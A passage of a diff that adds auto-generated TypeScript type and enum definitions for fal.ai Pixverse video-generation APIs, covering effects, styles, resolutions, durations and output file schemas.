undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for the transition. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Scene slowly transition into cat swimming under water + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 1080p videos are limited to 5 or 8 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV56TransitionDurationEnumKey + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV56TransitionStyleKey | null + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV56TransitionResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV56TransitionThinkingTypeKey | null +} + +export type FileCe66657E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV56Transition = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3890360,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-2.mp4"} + * @type object + */ + video: FileCe66657E +} + +export const inputFalAiPixverseV5EffectsEffectEnum = { + 'Kiss Me AI': 'Kiss Me AI', + Kiss: 'Kiss', + 'Muscle Surge': 'Muscle Surge', + 'Warmth of Jesus': 'Warmth of Jesus', + 'Anything, Robot': 'Anything, Robot', + 'The Tiger Touch': 'The Tiger Touch', + Hug: 'Hug', + 'Holy Wings': 'Holy Wings', + Microwave: 'Microwave', + 'Zombie Mode': 'Zombie Mode', + 'Squid Game': 'Squid Game', + 'Baby Face': 'Baby Face', + 'Black Myth: Wukong': 'Black Myth: Wukong', + 'Long Hair Magic': 'Long Hair Magic', + 'Leggy Run': 'Leggy Run', + 'Fin-tastic Mermaid': 'Fin-tastic Mermaid', + 'Punch Face': 'Punch Face', + 'Creepy Devil Smile': 'Creepy Devil Smile', + 'Thunder God': 'Thunder God', + 'Eye Zoom Challenge': 'Eye Zoom Challenge', + "Who's Arrested?": "Who's Arrested?", + 'Baby Arrived': 'Baby Arrived', + 'Werewolf Rage': 'Werewolf Rage', + 'Bald Swipe': 'Bald Swipe', + 'BOOM DROP': 'BOOM DROP', + 'Huge Cutie': 'Huge Cutie', + 'Liquid Metal': 'Liquid Metal', + 'Sharksnap!': 'Sharksnap!', + 'Dust Me Away': 'Dust Me Away', + '3D Figurine Factor': '3D Figurine Factor', + 'Bikini Up': 'Bikini Up', + 'My Girlfriends': 'My Girlfriends', + 'My Boyfriends': 'My Boyfriends', + 'Subject 3 Fever': 'Subject 3 Fever', + 'Earth Zoom': 'Earth Zoom', + 'Pole Dance': 'Pole Dance', + 'Vroom Dance': 'Vroom Dance', + 'GhostFace Terror': 'GhostFace Terror', + 'Dragon Evoker': 'Dragon Evoker', + 'Skeletal Bae': 'Skeletal Bae', + 'Summoning succubus': 'Summoning succubus', + 'Halloween Voodoo Doll': 'Halloween Voodoo Doll', + '3D Naked-Eye AD': '3D Naked-Eye AD', + 'Package Explosion': 'Package Explosion', + 'Dishes Served': 'Dishes Served', + 'Ocean ad': 'Ocean ad', + 'Supermarket AD': 'Supermarket AD', + 'Tree doll': 'Tree doll', + 'Come Feel My Abs': 'Come Feel My Abs', + 'The Bicep Flex': 'The Bicep Flex', + 'London Elite Vibe': 'London Elite Vibe', + 'Flora Nymph Gown': 'Flora Nymph Gown', + 'Christmas Costume': 'Christmas Costume', + "It's Snowy": "It's Snowy", + 'Reindeer Cruiser': 'Reindeer Cruiser', + 'Snow Globe Maker': 'Snow Globe Maker', + 'Pet Christmas Outfit': 'Pet Christmas Outfit', + 'Adopt a Polar Pal': 'Adopt a Polar Pal', + 'Cat Christmas Box': 'Cat Christmas Box', + 'Starlight Gift Box': 'Starlight Gift Box', + 'Xmas Poster': 'Xmas Poster', + 'Pet Christmas Tree': 'Pet Christmas Tree', + 'City Santa Hat': 'City Santa Hat', + 'Stocking Sweetie': 'Stocking Sweetie', + 'Christmas Night': 'Christmas Night', + 'Xmas Front Page Karma': 'Xmas Front Page Karma', + "Grinch's Xmas Hijack": "Grinch's Xmas Hijack", + 'Giant Product': 'Giant Product', + 'Truck Fashion Shoot': 'Truck Fashion Shoot', + 'Beach AD': 'Beach AD', + 'Shoal Surround': 'Shoal Surround', + 'Mechanical Assembly': 'Mechanical Assembly', + 'Lighting AD': 'Lighting AD', + 'Billboard AD': 'Billboard AD', + 'Product close-up': 'Product close-up', + 'Parachute Delivery': 'Parachute Delivery', + 'Dreamlike Cloud': 'Dreamlike Cloud', + 'Macaron Machine': 'Macaron Machine', + 'Poster AD': 'Poster AD', + 'Truck AD': 'Truck AD', + 'Graffiti AD': 'Graffiti AD', + '3D Figurine Factory': '3D Figurine Factory', + 'The Exclusive First Class': 'The Exclusive First Class', + 'Art Zoom Challenge': 'Art Zoom Challenge', + 'I Quit': 'I Quit', + 'Hitchcock Dolly Zoom': 'Hitchcock Dolly Zoom', + 'Smell the Lens': 'Smell the Lens', + 'I believe I can fly': 'I believe I can fly', + 'Strikout Dance': 'Strikout Dance', + 'Courtside Cam': 'Courtside Cam', + 'Pit Crew Moment': 'Pit Crew Moment', + 'K-Baseball Sprint': 'K-Baseball Sprint', + 'Toddler Doodle': 'Toddler Doodle', + 'Idol Ending': 'Idol Ending', + 'Apex Dance': 'Apex Dance', + 'OmniHero Forge': 'OmniHero Forge', + 'Palm Decode': 'Palm Decode', + 'The Age Ripple': 'The Age Ripple', + 'My Future Is Limitless': 'My Future Is Limitless', + 'Knee Slide': 'Knee Slide', + 'Epic Goal Save': 'Epic Goal Save', + 'Sideline Ball Boy': 'Sideline Ball Boy', + 'Cup Celebration': 'Cup Celebration', + 'Victory Roar': 'Victory Roar', + 'Vuvuzela Fan': 'Vuvuzela Fan', + 'World Champion Lift': 'World Champion Lift', + 'Tunnel to Captain': 'Tunnel to Captain', + 'Liquid Soccer Morph': 'Liquid Soccer Morph', + 'Jump Into Crowd 2': 'Jump Into Crowd 2', + 'Golden Pitch Crasher': 'Golden Pitch Crasher', + 'Stadium Fan Cam': 'Stadium Fan Cam', + 'Broadcast Moto GP': 'Broadcast Moto GP', + 'The Grotesque Clay': 'The Grotesque Clay', + 'Rookie Star Card': 'Rookie Star Card', + 'The Final Hug': 'The Final Hug', + 'Sharp Post-Match Comment': 'Sharp Post-Match Comment', + 'Street Maverick': 'Street Maverick', + 'Pitch Legend': 'Pitch Legend', + 'One Step At A Time': 'One Step At A Time', + 'Birthday Mirror': 'Birthday Mirror', + 'Superstar Lobby': 'Superstar Lobby', + 'Final Battle Room': 'Final Battle Room', + 'Top of the World': 'Top of the World', + 'Mini Me Unboxed': 'Mini Me Unboxed', + 'WonderPOP Surprise': 'WonderPOP Surprise', + 'White Chicks': 'White Chicks', + 'Kiss me': 'Kiss me', + 'What a Day': 'What a Day', + 'The Last Leap at Sunset': 'The Last Leap at Sunset', + 'Tiny Sticker Chef Chaos': 'Tiny Sticker Chef Chaos', + 'Mini Squeeze Toy': 'Mini Squeeze Toy', + 'Tearful Gunman': 'Tearful Gunman', + 'Street Fashion Caricature': 'Street Fashion Caricature', + 'Mini Me Makeover': 'Mini Me Makeover', + 'Street Art Awakening': 'Street Art Awakening', + 'Hug Together': 'Hug Together', + 'ACAI dance Duet': 'ACAI dance Duet', + 'PUBG Winner Hit!': 'PUBG Winner Hit!', + 'Blocky Mini-Me': 'Blocky Mini-Me', + 'Cheat Day Busted': 'Cheat Day Busted', + 'MiniSocial Recharge': 'MiniSocial Recharge', + 'My Little Perler Charm': 'My Little Perler Charm', + 'Where did this cobweb come from?': 'Where did this cobweb come from?', + 'Holy Beast Summoning Technique': 'Holy Beast Summoning Technique', + "IT'S THE FIRST OF THE MONTH": "IT'S THE FIRST OF THE MONTH", + 'Pet Editorial': 'Pet Editorial', + 'Three lifetime bond': 'Three lifetime bond', + 'Pixel World': 'Pixel World', + 'Mint in Box': 'Mint in Box', + 'Hands up, Hand': 'Hands up, Hand', + 'Flora Nymph Go': 'Flora Nymph Go', + 'Somber Embrace': 'Somber Embrace', + 'Beam me up': 'Beam me up', + 'Suit Swagger': 'Suit Swagger', +} as const + +export type InputFalAiPixverseV5EffectsEffectEnumKey = + (typeof inputFalAiPixverseV5EffectsEffectEnum)[keyof typeof inputFalAiPixverseV5EffectsEffectEnum] + +export const inputFalAiPixverseV5EffectsResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV5EffectsResolutionEnumKey = + (typeof inputFalAiPixverseV5EffectsResolutionEnum)[keyof typeof inputFalAiPixverseV5EffectsResolutionEnum] + +export const inputFalAiPixverseV5EffectsDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV5EffectsDurationEnumKey = + (typeof inputFalAiPixverseV5EffectsDurationEnum)[keyof typeof inputFalAiPixverseV5EffectsDurationEnum] + +export type InputFalAiPixverseV5Effects = { + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Optional URL of the image to use as the first frame. If not provided, generates from text + * @example https://v3.fal.media/files/koala/q5ahL3KS7ikt3MvpNUG8l_image%20(72).webp + * @type string + */ + image_url: string + /** + * @description The effect to apply to the video + * @type string + */ + effect: InputFalAiPixverseV5EffectsEffectEnumKey + /** + * @description The resolution of the generated video. + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV5EffectsResolutionEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV5EffectsDurationEnumKey +} + +export type File4Fbca5Cf = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV5Effects = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3232402,"url":"https://fal.media/files/koala/awGY1lJd7lVsqQeSqjWqn_output.mp4"} + * @type object + */ + video: File4Fbca5Cf +} + +export const inputFalAiPixverseV5ImageToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV5ImageToVideoStyleKey = + (typeof inputFalAiPixverseV5ImageToVideoStyle)[keyof typeof inputFalAiPixverseV5ImageToVideoStyle] + +export const inputFalAiPixverseV5ImageToVideoDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV5ImageToVideoDurationEnumKey = + (typeof inputFalAiPixverseV5ImageToVideoDurationEnum)[keyof typeof inputFalAiPixverseV5ImageToVideoDurationEnum] + +export const inputFalAiPixverseV5ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV5ImageToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV5ImageToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV5ImageToVideoResolutionEnum] + +export type InputFalAiPixverseV5ImageToVideo = { + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV5ImageToVideoStyleKey | null + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 8s videos cost double. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV5ImageToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV5ImageToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type FileE026733A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV5ImageToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":6420765,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-3.mp4"} + * @type object + */ + video: FileE026733A +} + +export const inputFalAiPixverseV5TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV5TextToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseV5TextToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseV5TextToVideoAspectRatioEnum] + +export const inputFalAiPixverseV5TextToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV5TextToVideoStyleKey = + (typeof inputFalAiPixverseV5TextToVideoStyle)[keyof typeof inputFalAiPixverseV5TextToVideoStyle] + +export const inputFalAiPixverseV5TextToVideoDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV5TextToVideoDurationEnumKey = + (typeof inputFalAiPixverseV5TextToVideoDurationEnum)[keyof typeof inputFalAiPixverseV5TextToVideoDurationEnum] + +export const inputFalAiPixverseV5TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV5TextToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV5TextToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV5TextToVideoResolutionEnum] + +export type InputFalAiPixverseV5TextToVideo = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV5TextToVideoAspectRatioEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV5TextToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Epic low-cut camera capture of a girl clad in ultraviolet threads, Peter Max art style depiction, luminous diamond skin glistening under a vast moon's radiance, embodied in a superhuman flight among mystical ruins, symbolizing a deity's ritual ascent, hyper-detailed + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. 8s videos cost double. 1080p videos are limited to 5 seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV5TextToVideoDurationEnumKey + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV5TextToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File6E43E968 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV5TextToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":5485412,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-4.mp4"} + * @type object + */ + video: File6E43E968 +} + +export const inputFalAiPixverseV5TransitionAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', +} as const + +export type InputFalAiPixverseV5TransitionAspectRatioEnumKey = + (typeof inputFalAiPixverseV5TransitionAspectRatioEnum)[keyof typeof inputFalAiPixverseV5TransitionAspectRatioEnum] + +export const inputFalAiPixverseV5TransitionStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV5TransitionStyleKey = + (typeof inputFalAiPixverseV5TransitionStyle)[keyof typeof inputFalAiPixverseV5TransitionStyle] + +export const inputFalAiPixverseV5TransitionDurationEnum = { + '5': '5', + '8': '8', +} as const + +export type InputFalAiPixverseV5TransitionDurationEnumKey = + (typeof inputFalAiPixverseV5TransitionDurationEnum)[keyof typeof inputFalAiPixverseV5TransitionDurationEnum] + +export const inputFalAiPixverseV5TransitionResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV5TransitionResolutionEnumKey = + (typeof inputFalAiPixverseV5TransitionResolutionEnum)[keyof typeof inputFalAiPixverseV5TransitionResolutionEnum] + +export type InputFalAiPixverseV5Transition = { + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV5TransitionAspectRatioEnumKey + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/owQh2DAzk8UU7J02nr5RY_Co2P4boLv6meIZ5t9gKvL_8685da151df343ab8bf82165c928e2a5.jpg + * @type string + */ + first_image_url: string + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV5TransitionStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt for the transition. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example Scene slowly transition into cat swimming under water + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds + * @default '5' + * @type string | undefined + */ + duration?: InputFalAiPixverseV5TransitionDurationEnumKey + /** + * @description URL of the image to use as the last frame + * @example https://v3.fal.media/files/kangaroo/RgedFs_WSnq5BgER7qDx1_ONrbTJ1YAGXz-9JnSsBoB_bdc8750387734bfe940319f469f7b0b2.jpg + * @type string + */ + end_image_url: string + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV5TransitionResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null +} + +export type File684B744E = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV5Transition = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":3890360,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-2.mp4"} + * @type object + */ + video: File684B744E +} + +export const inputFalAiPixverseV6ExtendStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV6ExtendStyleKey = + (typeof inputFalAiPixverseV6ExtendStyle)[keyof typeof inputFalAiPixverseV6ExtendStyle] + +export const inputFalAiPixverseV6ExtendResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV6ExtendResolutionEnumKey = + (typeof inputFalAiPixverseV6ExtendResolutionEnum)[keyof typeof inputFalAiPixverseV6ExtendResolutionEnum] + +export type InputFalAiPixverseV6Extend = { + /** + * @description The style of the extended video + */ + style?: InputFalAiPixverseV6ExtendStyleKey | null + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Random seed for generation + */ + seed?: number | null + /** + * @description The duration of the generated video in seconds. v6 supports values from 1 to 15 seconds + * @minimum 1 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV6ExtendResolutionEnumKey + /** + * @description Enable audio generation (BGM, SFX, dialogue). + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description Prompt describing how to extend the video. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A kid is talking into camera + * @type string + */ + prompt: string + /** + * @description URL of the input video to extend + * @example https://v3.fal.media/files/rabbit/88-jI3VWXU4Q8kSNrWo3c_output.mp4 + * @type string + */ + video_url: string +} + +export type File14Df921A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV6Extend = { + /** + * @description The extended video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":1163040,"url":"https://v3.fal.media/files/rabbit/88-jI3VWXU4Q8kSNrWo3c_output.mp4"} + * @type object + */ + video: File14Df921A +} + +export const inputFalAiPixverseV6ImageToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV6ImageToVideoStyleKey = + (typeof inputFalAiPixverseV6ImageToVideoStyle)[keyof typeof inputFalAiPixverseV6ImageToVideoStyle] + +export const inputFalAiPixverseV6ImageToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV6ImageToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV6ImageToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV6ImageToVideoResolutionEnum] + +export const inputFalAiPixverseV6ImageToVideoThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV6ImageToVideoThinkingTypeKey = + (typeof inputFalAiPixverseV6ImageToVideoThinkingType)[keyof typeof inputFalAiPixverseV6ImageToVideoThinkingType] + +export type InputFalAiPixverseV6ImageToVideo = { + /** + * @description Enable multi-clip generation with dynamic camera changes + * @default false + * @type boolean | undefined + */ + generate_multi_clip_switch?: boolean + /** + * @description URL of the image to use as the first frame + * @example https://v3.fal.media/files/zebra/qL93Je8ezvzQgDOEzTjKF_KhGKZTEebZcDw6T5rwQPK_output.png + * @type string + */ + image_url: string + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly composed, poorly framed, poorly cropped, poorly color corrected, poorly color graded + * @type string | undefined + */ + negative_prompt?: string + /** + * @description Enable audio generation (BGM, SFX, dialogue) + * @default false + * @type boolean | undefined + */ + generate_audio_switch?: boolean + /** + * @description The style of the generated video + */ + style?: InputFalAiPixverseV6ImageToVideoStyleKey | null + /** + * @description Authorized callers may set false to request relaxed screening. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Text prompt for the video generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @example A woman warrior with her hammer walking with his glacier wolf. + * @type string + */ + prompt: string + /** + * @description The duration of the generated video in seconds. v6 supports values from 1 to 15 seconds + * @minimum 1 + * @maximum 15 + * @default 5 + * @type integer | undefined + */ + duration?: number + /** + * @description The resolution of the generated video + * @default '720p' + * @type string | undefined + */ + resolution?: InputFalAiPixverseV6ImageToVideoResolutionEnumKey + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same video every time. + * + */ + seed?: number | null + /** + * @description Prompt optimization mode: 'enabled' to optimize, 'disabled' to turn off, 'auto' for model decision + */ + thinking_type?: InputFalAiPixverseV6ImageToVideoThinkingTypeKey | null +} + +export type FileBc9Baaed = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiPixverseV6ImageToVideo = { + /** + * @description The generated video + * @example {"file_name":"output.mp4","content_type":"video/mp4","file_size":6420765,"url":"https://storage.googleapis.com/falserverless/model_tests/video_models/output-3.mp4"} + * @type object + */ + video: FileBc9Baaed +} + +export const inputFalAiPixverseV6TextToVideoAspectRatioEnum = { + '16:9': '16:9', + '4:3': '4:3', + '1:1': '1:1', + '3:4': '3:4', + '9:16': '9:16', + '2:3': '2:3', + '3:2': '3:2', + '21:9': '21:9', +} as const + +export type InputFalAiPixverseV6TextToVideoAspectRatioEnumKey = + (typeof inputFalAiPixverseV6TextToVideoAspectRatioEnum)[keyof typeof inputFalAiPixverseV6TextToVideoAspectRatioEnum] + +export const inputFalAiPixverseV6TextToVideoStyle = { + anime: 'anime', + '3d_animation': '3d_animation', + clay: 'clay', + comic: 'comic', + cyberpunk: 'cyberpunk', +} as const + +export type InputFalAiPixverseV6TextToVideoStyleKey = + (typeof inputFalAiPixverseV6TextToVideoStyle)[keyof typeof inputFalAiPixverseV6TextToVideoStyle] + +export const inputFalAiPixverseV6TextToVideoResolutionEnum = { + '360p': '360p', + '540p': '540p', + '720p': '720p', + '1080p': '1080p', +} as const + +export type InputFalAiPixverseV6TextToVideoResolutionEnumKey = + (typeof inputFalAiPixverseV6TextToVideoResolutionEnum)[keyof typeof inputFalAiPixverseV6TextToVideoResolutionEnum] + +export const inputFalAiPixverseV6TextToVideoThinkingType = { + enabled: 'enabled', + disabled: 'disabled', + auto: 'auto', +} as const + +export type InputFalAiPixverseV6TextToVideoThinkingTypeKey = + (typeof inputFalAiPixverseV6TextToVideoThinkingType)[keyof typeof inputFalAiPixverseV6TextToVideoThinkingType] + +export type InputFalAiPixverseV6TextToVideo = { + /** + * @description Enable multi-clip generation with dynamic camera changes + * @default false + * @type boolean | undefined + */ + generate_multi_clip_switch?: boolean + /** + * @description The aspect ratio of the generated video + * @default '16:9' + * @type string | undefined + */ + aspect_ratio?: InputFalAiPixverseV6TextToVideoAspectRatioEnumKey + /** + * @description Negative prompt to be used for the generation. Limited to 2048 UTF-8 encoded bytes. Because the limit counts bytes rather than characters, emoji and non-Latin or accented characters (which use multiple bytes each) can push a visually short prompt over the cap. + * @default '' + * @example blurry, low quality, low resolution, pixelated, noisy, grainy, out of focus, poorly lit, poorly exposed, poorly 